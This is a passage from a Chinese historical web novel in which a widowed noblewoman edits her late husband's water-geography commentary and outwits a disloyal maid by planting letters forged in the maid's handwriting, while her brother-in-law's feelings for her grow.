说完,瞥见清蕴投来的目光,白兰自觉失言。前脚还说只是有些印象,后脚就把细节道了出来。 幸好主子没太在意这个,只淡笑道:“能和姜夫人所寻之人那么像,也是我和她的缘分。我曾答应过她要帮忙寻人,却因最近半年的忙碌不曾兑现,去看望她也是应该。” 白兰点头,说是该如此。 看着她去备礼,清蕴再对藉香道:“去请二公子来一趟。” 在李秉真身边时,藉香对李审言一直有敌意,如今这反感也没全消,但他会把夫人的命令放在最前面。 李审言来得很快。 他难得穿了身宽大的袍子,佩刀也取下,武将的肃杀之气无形中消弭许多。左手缠的布条被宽袖一挡,就遮得差不多了。 清蕴先问候他的伤口。 李审言轻松转了下手臂,“小伤,无碍。” 他当然不会提自己练刀太猛导致伤口再度裂开,甚至伤及小臂,才不得不换了宽松衣裳的事,只道:“嫂嫂有什么事?” 清蕴目光慢慢转向隔壁书房,“世子之前一直在写《水长志》的注疏,有些已经成文,有些只在书中作了注释。我想帮他整理出来,之前也已经和翰林院的顾学士说好。只是我进官署不便,所以想请二叔每隔十日帮我送一些去翰林院,顾学士若有意见,也麻烦二叔帮忙带回,可行?” 李审言沉默了下。 在这之前,他和夫妻俩明面上的交集非常少,在府里生活基本上泾渭分明,所以陆清蕴有事竟会第一个找他帮忙,的确令人惊讶。 但,他并不讨厌这种被使唤的感觉。 他点头,“好,我也一起。” 第58章 陈危和夫人合谋,害死了真正的陆姑娘 齐国公因病告假, 李审言养伤告假。这段时间,父子俩都待在府里,前者在书房和卧室来回,后者则决定每日挑几个时辰去月舍。 李审言和清蕴是叔嫂关系, 每天待在一块儿, 传出去容易受都察院官员攻讦。清蕴便搬了部分书稿去主屋, 把书房留给李审言用。 两人沟通不多, 有事也多由女使或藉香传达。 如今月舍的女使只剩下白兰白芷两人,在李秉真去世后, 清蕴就问过春夏秋冬四女意见,除去最小的冬至愿意去大长公主府继续服侍外,余下三女都以年纪到了为由,感恩清蕴愿放回她们的卖身契,离开了。 少了四人, 清蕴又喜静, 若无人走动,月舍就仿佛位于深山,清幽安谧。 氛围比太夫人的佛堂还不如, 起码那儿还有念经声。 这是李审言的感觉。 他主动请缨来整理书稿,到了这儿,才发现只有自己待在书房,比年少时读书还乏味。有事找陆清蕴传话, 看到的都是藉香那张臭脸, 内心不由后悔。 叼着笔身, 李审言临窗慢吞吞地翻弄几张纸。 他学问一般, 但好歹认得字,能勉强看懂意思。意识到清蕴留给他的都是些不太重要的内容, 李审言也不知怎的,反而用心起来。 不知不觉过去一个时辰,脚步声惊回李审言思绪。 白芷送来茶点,“松萝茶可消火去疲,夫人请二爷注意养伤,莫太过劳累。” 李审言嗯一声,“放这儿吧。” 待白芷离开,他的视线随她往隔壁去,发现那扇紧闭的窗不知何时打开了。 屋内的人并未正坐于窗前,而是斜对着,仅露出一双纤长的手,莹白如玉,正在有条不紊地往茶壶中投料。 咕嘟咕嘟的茶汤沸腾声仿佛就在耳畔,面前坐着那人,正亲手给他煮茶。 虽然没有真正坐在一屋,但相隔这么近,也差不多了。 李审言端起那盏茶,浅啜一口就皱眉,太甜。 但还是慢慢喝了下去。 接下来两天的日子,差不多就是如此循环往复。 李审言待在书房,很快摸清了隔壁的规律。 她很有耐心,能够一整天都待在屋子里不出门,但每隔一个时辰,必会开窗看看外面风景。 整理书稿久了,就会煮茶,或者调香,再不然,就去修剪花枝。 其实最初认识陆清蕴时,她就是这个模样,娴静端庄,像个温婉柔弱的大家闺秀。对待任何人,她都是轻言细语,温柔以待,足以得到大多数人的赞扬和欣赏。 李审言见过她的其他模样,一直觉得那些都不过是她掩饰真实的表象。可如果一个人独处时也是如此,谁又能说这是伪装? 他确实有疑惑,疑惑的同时,内心又忍不住生出更多的探究,想知道到底哪一种状态,才是她的真实。 修了三日书,第四天再去书房时,李审言发现藉香和那名叫白兰的女使都不见了。 白芷告诉她,主子出门去办事了。 李审言知道她隔段时间会去处理店铺的事,对此不奇怪,虽觉得瞬间无聊了些,但也老老实实待在了书房,没有去别处闲逛。 ** 清蕴先去彭掌柜那儿待了半个时辰,知道铺子里的生意一切安好,再转道去姜玲住宅。 姜玲一家住在极为偏远的深巷,京城寸土寸金,他们还买不起房子,租赁了一间宅院,里面只有两间屋子供居住,厨房与他人共用。 清蕴虽是一身素服,没有佩戴钗环,但她通身气度不凡,随身还有女使护卫相随。从马车上下来时,左邻右舍都忍不住朝姜玲这儿张望。 姜玲很意外,把人请到里屋,面对清蕴带来的纸墨和补品,感动得无以言表,不知不觉又红了眼眶,“没想到贵人还记得我。” 清蕴当然记得她。 姜玲可能是她仅存世间唯一的亲人,即便没有感情,为了避免对方会察觉什么,或被他人利用,清蕴也会注意。 早在两人见第一面后,她就暗中让陈危找人观察姜玲一家,了解他们的人际往来和为人处世。 姜玲如今和丈夫、儿子儿媳以及一个孙子同住。 她丈夫是铁匠,自身擅长刺绣,夫妻二人以此为生,供儿子一路科举考中进士。 儿媳邱氏是逃难到宛平后,被姜玲遇见后收留的。姜玲大概在邱氏身上看到了姐姐和外甥女的痕迹,心软留下她,后来邱氏和她的儿子青梅竹马、日久生情,结成了一对夫妻。 由此可见,姜玲夫妻都是朴实心善之人。 清蕴还了解到,从宛平到京城,姜玲每逢出门卖绣品,就会找人打听博文书院的消息,或是打听从江苏一带而来的女孩儿消息。 素织那次,确实不是她第一次认错人。 默默观察了大半年,确认姜玲一家和京城的人没有往来,身份也只能是她的姨母,清蕴才在处理完自身的事后,想到来看一看她。 因姜玲眉眼间与母亲确实有点像。 顺带,以此观察白兰。 她在王家时,出门碰见一些可怜人也会接济,做这件事不算特别。 相较于农夫和寻常卖货郎,铁匠挣钱不算难,姜玲的绣品也能卖些银子,可自从搬到京城后,一家人生活就有点捉襟见肘了。 清蕴给他们带了些生活必需品,还十分自然地问起了姜玲寻人之事。 在儿媳开导下,姜玲早就认定自己是认错了人,如实道:“感念夫人还记得我这点小事,人还没寻到。不过,我相信就如夫人那日所说,她定是在别处好好的,只是我们姨甥二人缘分未到。” “姜姨能这么想,便再好不过。” 交谈间,面容俊秀可爱的三岁小男童奉盘入内,小心走到清蕴身边,清脆道:“请夫人吃梨。” 盘上摆着洗好的几颗梨,个大饱满,鲜嫩欲滴。 清蕴见他几度偷瞄鲜梨的模样,含笑取了一颗,亲手削好,竟交给了男童。 姜玲惊讶,刚要让孙儿推拒,男童已直接接过,“谢贵客赐甘。” 随后想了想,又将梨递给祖母。 清蕴:“你不是很想吃吗?” 温和打趣的语气。 男童稚声琅琅,“昔王泰让枣,融四岁让梨,小字虽齿稚,愿效古风。” 说完,踮脚献到祖母身前。 见清蕴不曾流露反感,姜玲怜爱地摸摸他脑袋,“我不吃,既是贵客给衡儿削的,衡儿吃吧。” 清蕴注意到,小男孩一点儿也不意外地收了回去,津津有味地开始啃梨,显然他很清楚祖母一定会把梨让回给自己。 才三岁,就聪明到这地步了,既不怯人,还能够在礼法和自身的渴望之间找到平衡之道。 “他已经开始读书了?” 姜玲摇头,“他年纪还小,平时就是他爹回家后教着念两句书。” 清蕴:“衡儿聪慧,姜姨若信得过我,等衡儿开蒙可以去学堂时,我给他推荐几个学堂和先生,定不浪费他的天资。” 江衡啃梨的动作顿住,乌溜溜的大眼睛望向清蕴。 姜玲受宠若惊,推拒几声不得,到底是高兴地应了下来。 等到清蕴离开时,她特意取出一篮绣品,手帕、香囊、枕巾、坐垫之流,应有尽有,“夫人千万收下,莫嫌我针脚粗就行。” 清蕴也没拒绝,到马车上对着绣品看了会儿,交给白兰。 白兰似是随口道:“夫人对这家人真好,连他们孙儿读书都考虑到了。” “难得有缘,衡儿又聪明,一点举手之劳而已,没什么。” 白兰颔首,低头整理篮子,看着看着,又是怔愣。 这些绣品,和当初夫人在闺中曾用过的一种针法,好像。 心中存了怀疑,白兰就很难不往怀疑的方向去猜测,过完的一件件、一桩桩事浮现在脑海,仿佛都有了理由。 她在想,夫人……会不会真的是姜夫人口中的外甥女。 如果是这样,那夫人又是如何摇身一变,成为王尚书的外孙女? 唯一的可能,就是当初陈危和陈管家去江苏接人的路上,陈危和夫人合谋,害死了真正的陆姑娘。 这也就能够解释,为何夫人和陈危之间总像是有别人掺和不进去的秘密,为何夫人真正信任的,只有陈危。 倘若这件事揭露出去……白兰的心怦怦跳,想到了更多。 不是曾经拒绝过她的陈危,而是王家的权势,是牢牢扒着她一人吸血的家人。 ………… “白兰依然跟了过去。”黄昏时分,清蕴刚等风吹干纸张,白芷便来耳边轻声禀报。 最近这阵子,清蕴让白芷每隔三日的午时整,都和姜玲的儿媳邱氏在府门外接洽,用的是买姜玲绣品的名义。 白兰无一例外,都悄悄跟了过去,似乎很想听到白芷和邱氏到底在说什么。 “她可有和谁联络?” 白芷:“被主子说中了,白兰前几天说回家一趟,实则是和秦夫人院子里的圆儿见面,还打听了陈管家的状况。” 白芷有很多不解,但她的听话之处在于,绝不问多余的事。 清蕴眸中流露出一丝难以察觉的失望。 其实白兰若能和她开诚布公,她并不介意满足白兰的心愿,无论是钱财,还是另谋一件好婚事,又或是其他,毕竟白兰跟在身边这么久,两人有感情。 但显然,在面对可能得到的利益时,白兰并不相信她这个相处了近十年的主子。 可能也有因陈危之事生出的怨气吧,白兰事后大概察觉到了她当时的不悦。 夜晚解开发髻时,清蕴注视着身后的人,“你母亲身子可好?” “谢夫人关心,请大夫看过了,只是扭了脚,静养个把月就行。” 清蕴转身,接过牛角梳自己慢慢通发,嗯了声,“那白芷就是看错了,她还说今早出门时碰见了你母亲,见她在当街和人争吵,担忧你家中出事了。” 白兰微惊,很快镇定下来,“她应该是看错了,我娘还在躺着呢。” “白兰。” “……夫人?” 清蕴道:“你知道吗?有些人在说谎时很喜欢盯着对方双眼,因为她想知道,那人有没有相信自己的话。” 白兰赫然惊出一身冷汗,连忙收回目光,“夫人为何突然说这个?” 静止的烛光中,清蕴微微一笑,“我今日在书中所见,觉得颇有道理,你认为呢?” 白兰支支吾吾含糊过去,却直觉自己是让夫人起了疑心。 夫人都敢杀陆姑娘取而代之,若发现自己察觉了她的秘密,焉知会不会又来一次杀人灭口。 白兰心知,自己只需要找到一个关键证据,就能够立刻赶去王家。 胎记和相似的针法都不算什么,关键在于…… 通过观察,白兰笃定,夫人和陈危私下还有信件往来。 她默默盯了许久,总算发现床榻下的暗格,且夫人在某次收到陈危的信之后,就把它放进了暗格中。 记下位置,白兰又等待一段时间,终于找到了机会。 趁清蕴喝过安神汤睡得较沉,白芷也不在时,她悄然来到内室,借窗外的些许月光,打开暗格,小心翼翼抽出。 瞧见封面上隐约的“陈危”二字时,她心跳如雷,直接将所有信件塞入怀中,再将暗格复原。 今夜便要走,不能等明早。 如此想着,白兰退回内室,迅速去住处随便收了几样东西放进包裹,再趁着夜色跑出。 直到经过回光堂时发生了意外。 李审言并没有熟睡,今日整理书稿时,那边送来的茶过于醒神,让他不得不大半夜把自己摊在屋顶,望着夜空出神。 可他的耳力很好,一察觉动静,立刻翻身而起,眯起双目,居高临下地看着那道黑影往角门溜。 有些眼熟。脑海中冒出这个想法时,他已经悄无声息地跃下,跟了上去。 第59章 心脏突然不受控地狂跳 白兰承认, 她心中对主子一直有种极其微妙的情绪,也许是平民百姓对公侯高官之家都会有的那点嫉妒。 主子出身高、相貌好,还聪明,无论学什么都一点即通, 在京城贵女中也极为出众。 倘若离得足够远, 她只会仰慕、敬佩主子这样的人物, 宛如仰望明月, 不会有任何其他心思。但当她得到机会,日夜跟随, 连带享受到其中荣光时,心态不知不觉发生变化。 她学习主子的待人处事,模仿其言谈举止,慢慢的便忍不住想,若是她也身处这个位置, 能够做到的, 应当不会比主子差。 直到她发现主子可能身世有异,那微妙的情绪顿时由此放大。 美玉微暇,便不再是完整的玉, 何况是如此大的瑕疵。 夜露打湿了白兰的袖口,她紧攥着怀中信笺疾步穿过回廊,指甲几乎要掐进丝绢里。这一路她都在反复回想那双给自己递绣品的手——主子递物时尾指微微翘起的弧度,和姜玲绣帕上的云纹针脚一模一样。 角门近在咫尺时, 她忽然被扯住后领。 “月黑风高, 小贼也是好兴致。” 她被人毫不留情地拎起后颈, 白兰看到地上拉长的人影, 再听到这懒洋洋的语调,顿时意识到是何人, 微惊了下,“二、二爷……” 她勉强镇定,“我是白兰,世子夫人身边的。” 看她轻声解释,李审言环胸而立,一言不发。 白兰继续道:“我家中有急事,已提前和夫人说过了,所以才深夜出门。” 李审言嗤一声。 白兰脸色涨红,“二爷若不信,大可去问夫人。” 她笃定以这两人的关系,二公子不会大半夜去打搅寡居的大嫂。 但李审言根本不吃这套,脚尖点了点她遮遮掩掩的地方,“偷了什么东西出门?” 高门大户中下人多,难免会出几个手脚不干净的,李审言以为白兰也是如此。他意外的是,以陆清蕴治人的功夫,身边竟也会出现这等女使。 白兰自然不肯交代。 她想得很清楚,夫人身世有异,对王家来说是滔天巨浪,放在齐国公府这儿可能根本不算什么。世子娶的从始至今都是现在的主子,多年前的事,对齐国公府来说根本不痛不痒。 甚至,为了维护齐国公府和世子夫人的脸面,他们一旦发现此事,还有可能帮着主子杀人灭口。 李审言没有怜香惜玉的意思,也未因她是月舍的人而另眼相待,白兰明眼看着就做了背主的事。 在注意到白兰衣襟外露出的并非金银等物,而是信笺一角时,他眉头挑了挑,直接把人拖进屋。 稍微一抖,白兰极力想遮掩的十几封信散落。李审言随手拆开最上方火漆完好的那封,瞳孔骤然收缩——竟是齐国公与兵部尚书等人往来的记录,甚至载有三两对话。 连他都不曾发现。 李审言眼神瞬间大变,从懒散变为锋锐,充满戾气地扫向白兰。 是哪边派来的?还是被老头的对家收买了? 迅速扫完十几封信,李审言心惊的同时,看白兰的目光已经像在看一个死人。 这其中有些事,他都无从知晓,大概只有之前贴身跟着老头的陈危才能清楚。虽不知白兰到底通过什么手段知道,但决不能留。 白兰犹不知李审言看到什么,可察觉他的变化,眼皮猛跳,鼓起勇气从地上捡了几封信。 她能够识文断字,这些本事都是到王家之后学会的。 她还记得,自己和白芷的字,都是夫人一笔一划教会的,学了这些年,称不上秀丽,也可说工整。 可如今看着信上“自己的”笔迹,冷汗渐渐顺着她的脊梁滑落。夫人早算准了,故意让她看见暗格,诱她以为那些是和陈危的来信,结果全是幌子,这里面竟是她作为内应,暗中盯梢国公爷的证据。 发现夫人身世有异想告发,和受他人指使盯梢齐国公,这两者的罪可不能相提并论。 “好个吃里扒外的奴才。”李审言反手将信纸不轻不重地拍在桌上,语气不明,“谁指使的你?都察院?柳家?” “二爷!”白兰扑通跪下,“二爷明鉴,这些根本就不是奴婢所写,都是夫人故意构陷。” 这时候,她终于自称奴婢了。 李审言目光冷漠。 白兰继续,“奴婢本是发现了夫人的秘密,不想让王家各位主子受欺骗,所以才大着胆子偷信,没想到……” 她颤声道:“夫人她……她根本不是王家外孙女!” 李审言动作顿住,白兰窥见他眼底乍现的寒芒,突然想起这位爷的手段,喉头泛起腥甜,可开弓没有回头箭,抖着嗓子阐明真相。 她从大半年前主仆二人在街上偶遇姜玲开始说起,再把自己观察到的种种巧合道出,“奴婢亲眼见过夫人肩胛的月牙胎记,和姜夫人说的一模一样,本来这些信这些信能证明她和陈危合谋” “二爷不妨闻闻信纸!”白兰艰难地挤出话语,李审言皱眉凑近,果然嗅到极淡的沉水香——这是她这段时日调制过的香。 这说明不了什么,白兰作为她的贴身女使,要弄到香轻而易举。 但李审言心中有种很奇怪的感觉。 他沉默了会儿,忽然轻笑,靴尖碾过信纸上的墨字,“所以呢,你打算敲登闻鼓告御状?还是卖给都察院换银子?” “奴婢只是只是怕死。”白兰盯着地上摇曳的烛影,眼泪簌簌而下,“夫人与陈危合谋多年,等发现奴婢知道真相,下一个死的就是我。” 她哭得梨花带雨,好不可怜。 李审言视线却没有停留在她身上,信笺上的沉水香仍若有似无,电光火石间,一些被忽略的细节突然浮现在脑海。 为何今夜会因茶水迟迟不眠,为何她曾无意间弄出动静来试探他的反应,为何白兰会选在今夜偷信出逃…… 心脏突然不受控地狂跳,他分不清是兴奋还是别的什么在血液里奔涌。身前是白兰崩溃的哭喊,他却仿佛看到了陆清蕴的指尖正顺着信纸缓缓上移,最后停在他腕间跳动的脉搏上。 哭了许久,仍不见面前人有反应,白兰疑惑地抬首,“二……” 话未说完,后颈骤痛。 昏迷前最后看到的,是李审言玄色衣摆扫过满地狼藉。他弯腰捡信时,眉间神色奇异。 ** “今儿是好天气。”任白芷编发时,清蕴忽然开口。 白芷点头。 “白兰呢?” “不知,我今儿来时,就发现她没在守夜,已经让藉香去找了。” 清蕴应声,刚打理好自己,齐国公那边就派人来请,说有事寻她。 她去了两刻钟,回来后就召来藉香和白芷,对二人道:“白兰因犯错已经被驱逐出府,今后不要再提起她,如果有外人问起,也不必回。” 藉香白芷都是沉默寡言的性子,见她神色略显沉重,又是刚从齐国公那儿回来,脑海里已经掠过多种猜测,面上齐齐应是。 等他们离开后,清蕴才回到内室,找出了白兰往日练字的一叠纸。 白兰的字不难临摹,都是她教出的簪花小楷,无非是下笔力道和习惯的区别。练了上百张,她自觉写出的字迹和白兰本人已经毫无区别。 早在察觉白兰异心,且知道她不准备给彼此留有退路时,清蕴就已经想出了许多种方法。 自己亲自出手是下下之策,她也不可能在阖府面前对白兰做什么,动用私刑是大忌,扭送官府也只会让白兰的谋算得逞。因此,她想到了陈危私下说过的那些事,交由李审言和公爹来处置,便再好不过。 涉及到朝堂斗争,白兰在他们手中很难留有活路,但清蕴不后悔,她给过机会。 唯一意外的,大概是李审言在把人扭送到齐国公身前时,还提前给白兰灌下了哑药。 清蕴猜测,白兰很可能在他面前说出过对自己身世的怀疑。 不过,她从没担心过这点。一来白兰没有证据,二来,凭她在齐国公那儿留下的印象,他绝不会因下人的三言两语就对儿媳产生怀疑,只会觉得内应在挑拨离间。 将信一次性烧毁,清蕴忆起白兰往日种种,垂眸许久。 …… 院中葡萄藤垂落如瀑,李审言踩着碎金似的午后阳光往月舍去。 白芷正端着红漆托盘出来,见他来了忙退到墙根行礼,盘中安神香未散的余烟在风里打了个转。 转过垂花门时,李审言见月舍游廊下立着道素色身影。 清蕴在亲自修剪花枝,夏阳透过竹帘在她衣袂绣出斑驳的梅影,她握着花剪的姿势像执笔,腕子悬空的弧度让他想起那叠信笺上的簪花小楷。 “二叔。”她转过身来,鬓边流苏停在恰到好处的位置,“白兰的事,劳你费心了。” “举手之劳。”李审言错开半步,让穿堂风隔在两人之间,很是随意道,“倒是大嫂该添几个伺候的人了。” “经此一事,我觉得身边人少些也好。”清蕴道,“有藉香和白芷就足够了,免得再惹出祸事。” 李审言不置可否。 他如今来月舍,就是为了整理书稿。近一个月过去,他往月舍的路越走越熟练,和清蕴相处得也愈发自然。 “对了嫂嫂。”临进书房前,李审言忽然回头,“今天不用再送茶了,昨儿喝了茶,整夜都没睡着。” 清蕴说好。 在外又待了会儿,清蕴亦回屋修书。 又是三日,天气依然晴朗。 李审言总能听见隔壁推窗声。 她每日辰时三刻开窗研墨,木轴滚动声碾过三块青砖的距离,与他展开宣纸的窸窣恰好合拍。 “二爷。”阿宽抱着新裁的宣纸进来,“周管家说西郊庄子送账册来了。” 他心底存着和周管家一样的疑惑,二爷何时也会看起这些账册来了,难不成想了解府里进项? 李审言漫应一声,目光仍追着窗外。 他看见她踮脚取最上层的书,素白裙裾扫过乌木书架,露出绣鞋上的纹样。 转身时,忽然不慎碰落一卷纸,被她及时伸手接住,弯腰的姿势像幅工笔画,连鬓发晃动的幅度都恰到好处。 李审言忽然笑了声。 书房内的阿宽不明所以,“爷还有吩咐吗?” “来研墨。” 阿宽应声乐呵呵走去,他不识字,但看字迹工整还是会的,磨了会儿,夸赞道:“爷的字越写越好了。” 李审言刚要敲他脑袋,问他看懂了什么,眼神望着宣纸上晕开的墨迹,忽然发现自己不知何时停止了誊写,而是摹了整卷《洛神赋》。 第60章 有名无实的婚姻 《水长志注疏》陆陆续续整理了两个多月, 主要由清蕴和翰林院顾学士共同整理,李审言作辅,最后编印成册时,李审言也有股莫名成就感。 旁的不说, 至少他如今书法精进许多, 对建朝各地的水土也算初具了解。 与此同时, 他对旁人口中的李秉真天资有了更深认知。 李审言离开过京城, 曾随大军四处奔走。行军途中虽无法认真领略各地风土人情,但好歹实地感受过地域间的山水、风俗差异, 见过来自天南地北的同袍。 李秉真受身体所限,所达最远之处不过天穹山和京郊,相处的人仅限达官贵族、公府奴仆,却能仅凭所阅书籍,对山川河流的分布及其影响、作用了如指掌。 譬如《水长志》中提到“沧江自云岭而下, 至涿野渐分九流"。 李秉真在注疏中补充:此非江河改道之故, 实为前朝工部侍郎裴琰治水遗策也。永安三年,裴公以束水攻沙之法,于涿野设三十六道挑水坝, 逼沧江激流冲刷河床淤泥。今所谓九流者,乃主河道外八条引水渠,暗合《河防通议》所载“以渠代闸,以疏代堵”之理。 随后又道:然《禹贡图志》谓涿野土性黏重, 裴公之法恐难持久。近观《景州水部档》载, 景德年间该域洪灾频发, 恰印证沙土虽去而堤基松动之弊——此非先贤思虑不周, 实南北土质殊异所致。 还用蝇头小楷绘出涿野地势剖面,标注不同土层吸水特性, 恍若亲临其地丈量过一般。 困于方寸之间却能神游九州,李审言面上不言,心底却对不曾了解过的李秉真隐隐生出敬佩。 无关长辈、无关旧怨,纯粹对李秉真此人。 他尚且如此,亲手一字一句整理誊写的陆清蕴,应当会感触更多。 想到这儿,李审言心底又不知为何有莫名躁意。 清蕴先把《水长志注疏》拿给齐国公看,他沉默地翻了十几页,不知是不是想到了长子,背过去半晌,而后道:“辛苦你了。” “世子已经写出七八,儿媳只是稍作整理,还要多谢二公子帮忙。” 齐国公点头,“难得他耐得住性子。” 他心想,不仅能沉下心帮忙整理书稿,还能听从长嫂的话,看来那天对话过后,允勖的确有了改变。 接下来劝允勖离开旗手卫,或许也不是难事。 清蕴再整理出原稿,亲手送给大长公主。 清蕴这两个多月未去织经堂,大长公主还以为儿媳不愿来,没想到是在做这件事。 她的情绪外放许多,当即落泪。 待止住泪水,情绪稳定了,才敢小心触碰纸张。每抚摸一页,便仿佛看到了儿子当初临案写注的模样。 清蕴:“世子曾说,修书如同治水,束沙为堤终会溃散,唯有让人思如活水源流不绝。” “少思能得你为妻,确实是他之幸。”大长公主道,“你比我这个当娘的,还要了解他。” 儿子胸有沟壑,奈何命运弄人,终其一生,只能在药气与墨香的狭隙里活着。 其实怪来怪去,还是她这个当母亲的没有保护好他。 眼见大长公主又要陷入怅惘,清蕴出声,“世子留下这些笔墨,就是想要用这些来陪伴我们。母亲思念他时,多看看他整理的书,他的画,能够得到些许慰藉,世子的心血就没有白费。” 手握原稿,大长公主再次对这个表面柔弱的儿媳刮目相看。 ** 进入九月,王家有两件大事操办,王贞的六十五寿辰和王宗赫成婚。 前者,清蕴避开宾客,在寿辰前一天去向外祖父祝贺送礼。后者,因她仍在守孝期间,不便参加,就托人询问李审言是否要去赴宴。 同在朝为官,李审言和王宗赫还真谈不上熟,短暂的几次交道也不算愉快。 不过他还是应了下来,帮清蕴带礼。 六部两位堂官结亲,其中一方长辈还是内阁首辅,朝堂上有名有姓的官员来了七成,加上亲眷好友,堪称宾客如云。 李审言不耐烦应酬,拒了同僚邀请,也没去李家族人边上,自己挑了个稍微清静的角落。 他来得晚,新娘已从柳家迎来,如今是王宗赫作为新郎在待客。 在旁人眼中,王宗赫不愧是状元郎、官场新秀、柳阁老心腹,老成持重,大喜的日子也能稳得住。在李审言眼中,王宗赫对这场婚事就像对待官场公务,所以才能一丝不苟。 旁的新郎官在这种时候都能省事则省,他倒好,宾客一个不落地照应,显而易见不急着见新婚夫人。 李审言不紧不慢地喝酒,等王宗赫及其兄弟敬到这桌,起身对饮,彼此目光短暂碰了下,各自移开。 看到他,王宗赫就想起清蕴让他带的礼。其实托护卫或女使送来也可,能够让李审言带来,说明她和这位小叔子的关系相处得还行。 距灵堂相见已过去半年,王家女眷尚有机会与清蕴相见,他作为表哥,却很难有合适的场合、理由。清蕴有意为世子守孝,他便不会冒然联络,以免给她带去流言蜚语。 倒是柳晚,期间和清蕴见过几次,与他见面时也曾说起,见他一副冷淡模样,当他对这个表妹并不关心。久而久之,柳晚便不在他面前提清蕴的事。 三年。王宗赫想起他和柳晚的约定,三年之内,他会让两人以合适的理由和离,并助她和尤衡在一起。 新房内。 红盖早被挑起,柳晚独自用过点心,唤人打水,准备稍作洗漱再上榻。 奶娘汤氏笑都僵了,把王家女使请出门,转头道:“姑奶奶,今儿什么日子?要等郎君来一同歇息,还当在闺中呢。” 柳晚:“我先睡,等他来了把我叫醒就是。” 汤氏以为她懵懂,“这怎么行呢,没有新妇独自先歇的说法。再困,倚着床榻眯会儿就是,绝不能自个儿上榻,这是规矩。” 柳晚:“……那就等着吧。” 她和王宗赫的“约法三章”过于超脱常规,因此即便是最亲近的奶娘和女使,她也没透露分毫。 站在柳晚的视角,她对这场婚姻的利弊看得透彻。 王宗赫尚着绯袍时便得祖父青眼,如今成了柳家女婿,吏部考功司的密档、内阁议事的机要,自会化作他官袍上隐形的补子。昨夜父亲特意嘱咐她将新得的歙砚带来王家,那方刻着“经世济民”的砚台,亦是柳氏门生名录的投名状。 特意选了她这个心有所属,曾在柳家人面前留有“污点”的妻子,分明是既要借柳氏之势,又不愿真正被高门掣肘,还能够借此堵住王家催他成婚之口。 倒是深谙“以虚御实”之道,用一桩有名无实的婚姻,既堵了悠悠众口,又留了全身而退的余地。 不过,她也不算亏。 60-70 第61章 “是我。” 红绸灯笼在檐角晃出细碎光晕, 王宗赫第三次被堂兄拽回来时,玉冠都歪在了耳畔。 喜宴上八珍玉食腾着热气,柳家十数位叔伯兄弟轮番举着犀角杯,硬是把他灌得面如朱砂。直到戌时三刻, 郑氏派来的何妈妈拨开人群, 才把新郎官塞进了垂着百子帐的洞房。 李审言斜倚雕花廊柱, 看着王宗赫踉跄的背影轻笑出声。 随手把酒壶搁在青石阶上, 袍角扫过满地炮竹碎红,穿过犹在哄闹的人群时, 扶了把险些撞翻合卺酒的喜娘。 他没急着回国公府,含了几片醒酒薄荷,绕了四五条街,再带着散得差不多的酒气回府。 未到回光堂,远远瞧见周妈妈, 下意识迈向另一条路。 周妈妈不仅是周管家之母, 也是太夫人身边最信重的人。 周妈妈追上来,“太夫人这两天不舒服。” 李审言:“我去给她老人家请大夫。” “大夫看也看过了,只说郁结于心、食欲不振, 是心病,得靠人医。她是惦记你呢,二郎去瞧瞧吧。” 李审言瞥去,“早上被一盘甘露饼和两碗竹叶粥撑着了, 所以食欲不振?” 周妈妈:“……大半月没见, 二郎就一点儿不想太夫人么?” 李审言没搭话, 给祖母请安他愿意, 变着法儿给他介绍女人,他自然躲得远远的。 周妈妈看着眼前二十四的青年, 身形健硕,长相俊美,在天子身边任职,前途无量,哪个姑娘家不喜欢? 但她知道李审言自幼就有主见,不许别人插手自己的事,索性明言,“二郎一直躲着,太夫人才忧心。你好歹去看了再说不喜,或者把自个儿喜好明说了,我也好回去交差。” “没什么喜好,也不用交差。”两句话的功夫,李审言人已经走出三丈远,对她摆摆手,“就说没见着人。” 周妈妈被他吊儿郎当的姿态气笑了。 到回光堂,李审言被阿宽忙前忙后地伺候,忽然问,“你可成亲了?” 阿宽挠头,“目前还没。” 那就是有目标,李审言饶有兴致,“快了?” 阿宽便把自己爱慕隔壁阿香,正在努力争取未来老丈人同意的事道了出来,接着被问及为何会喜欢阿香,坦诚道:“当然是因为天天能瞧见,她又生得好看。” 李审言:“没其他原因?” 阿宽茫然,“还要啥原因?” 李审言也不知,他只觉得这所谓的爱慕太过随意,来得也莫名其妙。 成婚有什么好?除了多个人管束自己。 王宗赫结了门人人歆羡的好亲事,但旁人羡慕的是他岳家厉害,和妻子本身关系不大。单看他在婚宴上的表现,李审言觉得他对此也无甚期待。 老头有过两个女人,他和李秉真的母亲,一个青梅竹马但身份低微,一个家世雄厚但终成怨侣。起初老头两个都想要,最终什么都没得到。 许是因自身经历,李审言对这件事从来敬谢不敏。 平躺在榻上,他悠悠翻了个身,无聊中顺着周妈妈的话思索了下自己的喜好。 若真要选,外貌不用太漂亮,看得顺眼就行。不要大家闺秀,太端庄矜持,不好相处。学问也无需太高,不然两人根本聊不到一块。 最好能自立,离了他也无事。 思来想去,一道秀丽端庄、能与翰林院学士共同编书的身影出现在脑海。 既有她当初刚嫁来国公府时的模样,又有近来共同整理文稿时,不经意间看到的种种画面。 李审言:“……” 突然被某种情绪击中——就像那年校场比箭,弓弦震得手掌发麻的瞬间,忽然看清了百步外箭靶红心。 念头一起,更深漏尽时分,他仍躺在填漆床上辗转反侧。 ** 齐国公告假的第七个月,朝堂接到一道急报。 广西田州土司赵良和新派去的巡抚金云在赋税、养兵等策略上不和,赵良一气之下杀了金云,意识到朝廷定会降罪,干脆一不做二不休,将巡抚府衙围了,不肯归顺自己的官兵尽数斩杀。 贵州播州土司闻讯响应,裹挟周边势力,迅速形成了大规模叛乱。 西南地区原本一直由当地土司管理,五年前,朝廷施改土归流之策,改司为府,隔三年就另派官员管理。这些土司原本是当地的土霸王,当然不服管,几年间常有冲突,但如此大规模的动乱还是头次,据说导火索还是皇宫派去收购药材的内监过于嚣张跋扈,惹怒了赵良。 众所周知,这些药材是为天子制药炼丹而收,消息传回来时,建帝勃然大怒。 内阁商议后,认为还是该以安抚为主,可以适当放权来使几位土司归顺,改土归流之策就徐徐图之。 建帝不同意,先是准备御驾亲去平乱,被群臣劝阻后,又立马下令,调桂、黔两省兵力去围剿叛军之余,还决定另外派兵前去镇压,从朝廷这儿调将。 柳阁老想到有和土司打交道经验的齐国公,提出建议,在建帝还未明着反对时,齐国公就已经先回话了,说自己仍在病榻上,无力领兵。 内阁派人来探望,回去禀报说齐国公如今饭食都需人伺候,确实没法领兵作战,他们只好作罢。 这些和清蕴都没什么关系,她真正听说这些事时,都已经过去四五日了。 她不喜战乱,下意识先蹙眉,随后问:“陛下最后派了谁?” 